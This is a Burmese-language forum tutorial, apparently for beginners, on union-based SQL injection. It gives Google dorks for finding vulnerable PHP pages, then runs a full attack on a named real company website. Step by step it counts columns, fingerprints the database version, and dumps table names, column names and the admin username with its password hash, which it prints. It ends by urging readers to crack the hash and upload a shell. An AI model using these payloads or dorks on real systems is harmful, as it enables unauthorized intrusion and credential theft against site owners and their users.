SQL injection ေလ့လာေနတဲ့ newbies ေတြအတြက္ပါ ၊ sqli thread ေတြထဲမွာ beginners ေတြအတြက္မရွိဘူးဆိုလို့


SQLi vul ျဖစ္ေနတဲ့ဆိုဒ္ေတြကိုဘယ္လိုရွာမလဲ ? လြယ္ပါတယ္ Dorks ေတြနဲ့ရွာမွာေပါ့ ၊
Dorks ေတြကိုေတာ့ ဒီမွာသြားယူလိုက္ပါ

________________________________________________________________________________
Code:
prod_detail.php?id=
viewphoto.php?id=
view.php?id=
website.php?id=
hosting_info.php?id=
gery.php?id=
detail.php?ID=
publications.php?id=
Productinfo.php?id=
releases.php?id=
ray.php?id=
__________________________________________________________________________________
ကဲဟုတ္ဘီ ၊ ျကိုက္တဲ့ dorks ေလးတခုေရြးပီး google မွာရွာလိုက္ပါ ၊ က်ေတာ္ကေတာ့ Productinfo.php?id= ဆိုတာေလးေရြးလိုက္ပါတယ္

က်လာတဲ့ results ေတြကေတာ့အမ်ားျကီးပါ ၊ ဆိုဒ္တိုင္းကေတာ့ေပါက္ေနမွာမဟုတ္ပါဘူး

အေနာ္ကေတာ့ www.toprange.com.tw/en/productinfo.php?id=52 ဆိုတဲ့ဆိုဒ္ေလးကိုေရြးလိုက္ပါသည္ ။
sqli ေပါက္လားစစ္ဖို့ "'" ေလးထည့္လိုက္ပါတယ္ ၊
ဥပမာ>>> www.toprange.com.tw/en/productinfo.php?id=52'😜😜
bingo 


အိုေက ေကာ္လံဘယ္ေလာက္ရွိလဲသိရေအာင္ order by ေလးနဲ့စစ္ရေအာင္ ၊
![[Image: QITvxfK.png]](file:///home/mkt/Desktop/[Tut]UNION%20Based%20SQLi%20for%20newbies_files/QITvxfK.png)
http://www.toprange.com.tw/en/productinfo.php?id=52 order by 13--
![[Image: QITvxfK.png]](file:///home/mkt/Desktop/[Tut]UNION%20Based%20SQLi%20for%20newbies_files/QITvxfK.png)
Unknown column '13'in'order clause'
ေကာ္လံက 13 ခုမရွိပါဘူးခင္ဗ်
http://www.toprange.com.tw/en/productinfo.php?id=52 order by 12--

ဆက္ဆြဲျကရေအာင္
ေကာ္လံေကာင့္သိပီဆိုေတာ့ ေပါက္ေနတဲ့ေကာ္လံကုိရွာပါမယ္ ၊
အဲဒါေလးထည့္လိုက္ပါမယ္
ဒီေတာ့
ID ေရွ့မွာ "-" ေလးထည့္ဖို့ေတာ့လိုပါတယ္ ၊ အေသးစိတ္ကိုေတာ့ က်ေတာ္အေပါ္မွာေပးထားတဲ့လင့္ခ္မွာေသခ်ာရွင္းထားပါတယ္ 

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12--
ဒီေတာ့
www.toprange.com.tw/en/productinfo.php?id=-52 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12--

အိုေက ေကာ္လံ 4 နဲ့ 5 မွာေပါက္ေနပါတယ္ 
ဒီေတာ့ version ေလးတခ်က္စစ္ျကည့္ပါမယ္ ၊ ေပါက္ေနတဲ့ ေကာ္လံ 4 မွာ @@version ေလးထည့္လိုက္ပါမယ္

ဒီေတာ့ version ေလးတခ်က္စစ္ျကည့္ပါမယ္ ၊ ေပါက္ေနတဲ့ ေကာ္လံ 4 မွာ @@version ေလးထည့္လိုက္ပါမယ္

http://www.toprange.com.tw/en/productinfo.php?id=-52 UNION SELECT 1,2,3,@@version,5,6,7,8,9,10,11,12--
အိုေက version က 5 ေက်ာ္ပါတယ္ ၊ ဆက္ထိုးလို့ရပါဘီ ၊ version 4
ျဖစ္ခဲ့မယ္ဆိုရင္ေတာ့နည္းနည္းေတာ့အခက္ခဲရွိပါတယ္ .
ေတဘယ္ေတြကိုခန့္မွန္းပီးထိုးရမွာမို့လို့ပါ ၊
version 5 ျဖစ္တဲ့အတြက္ group_concat နဲ့ေတဘယ္ေတြကိုဆြဲထုတ္လို့ရပါတယ္ ၊
အိုေကေပါက္ေနတဲ့ေကာ္လံမွာ group_concat(table_name) ဆိုတာေလးထည့္ ၊ ဘယ္ကေနဆြဲထုတ္မွာလဲဆိုတဲ့ from information_schema.tables where table_schema=database() ကိုေနာက္ဘက္မွာထည့္ေပးလိုက္ပါ ၊ဒီေနရာမွာ နည္းနည္းရွင္းျပပါမယ္ 
Code:
group_concat=ေဒတာေတြကိုတခုတစည္းထဲထြက္လာေအာင္သံုးတာပါ
table_name=ကေတာ့ေတဘယ္နိမ္းပါ :D
from=ဘယ္ေနရာကေနဆြဲထုတ္မွာလဲဆိုတဲ့ command
information_schema.tables=ေဒတာေဘ့စ္ထဲမွာရွိတဲ့ေတဘယ္ေတြရဲ့ information
table_schema=ေဒတာေဘ့စ္ ထဲမွာရွိတဲ့ေတဘယ္ေတြကိုဆိုလိုတာပါ
database()=website ရဲ့ current database ပါ
http://www.toprange.com.tw/en/productinfo.php?id=-52
UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from
information_schema.tables where table_schema=database()--
ေတဘယ္ေတြထြက္လာပါဘီ
စိတ္၀င္စာစရာအေကာင္းဆံုးကေတာ့ admin ေတဘယ္ေလးဘဲ
အိုကီေကာ္လံေတြထပ္ထုတ္ပါမယ္
http://www.toprange.com.tw/en/productinfo.php?id=-52
UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12 from
information_schema.columns where table_name=0x61646d696e--
61646d696e ဆိုတာက admin ရဲ့ ့ Hex တန္ဖိုးေလးပါ ၊ Hex တန္ဖိုးျဖစ္တဲ့အတြက္ေရွ့က0xေလးကပ္ေပးလိုက္ပါ ၊ table name ကို hex ခ်ိန္းပီးမွထည့္ပါ ၊ မဟုတ္ရင္အလုပ္မလုပ္ပါဘူး ၊
hex တန္ဖိုးကို ဒီမွာ သြားေျပာင္းလို့ရပါတယ္ ၊
က်လာတဲ့ေကာ္လံေတြထဲက data ေတြကိုဆက္ထုတ္ပါမယ္
စိတ္၀င္စားဖို့ေကာင္းတာေလးေတြကေတာ့ admin,pwd ေလးေတြဘဲ 
group_concat(admin,0x3a,pwd)
0x3a ဆိုတာက : ေလးရဲ့ hex တန္ဖိုးပါ ၊ ျကာထဲမွာ : ေလးခံေပးလိုက္မွ name နဲ့ password ကြဲမွာပါ ၊
http://www.toprange.com.tw/en/productinfo.php?id=-52
UNION SELECT 1,2,3,group_concat(admin,0x3a,pwd),5,6,7,8,9,10,11,12 from
admin--
ထြက္လာပါဘီခဗ်
administrator:13fef0112906570090e672716a82100e
administrator
ကေတာ့ username ျဖစ္ပီး 13fef0112906570090e672716a82100e ကေတာ့ password ရဲ့ Hash တန္ဖိုးပါ 
က်န္တာကေတာ့ hash ျဖည္ admin page ရွာ shell တင္ေပါ့ေနာ္ 
Have fun marmees



Xai@km >>> 09400040884
0 comments: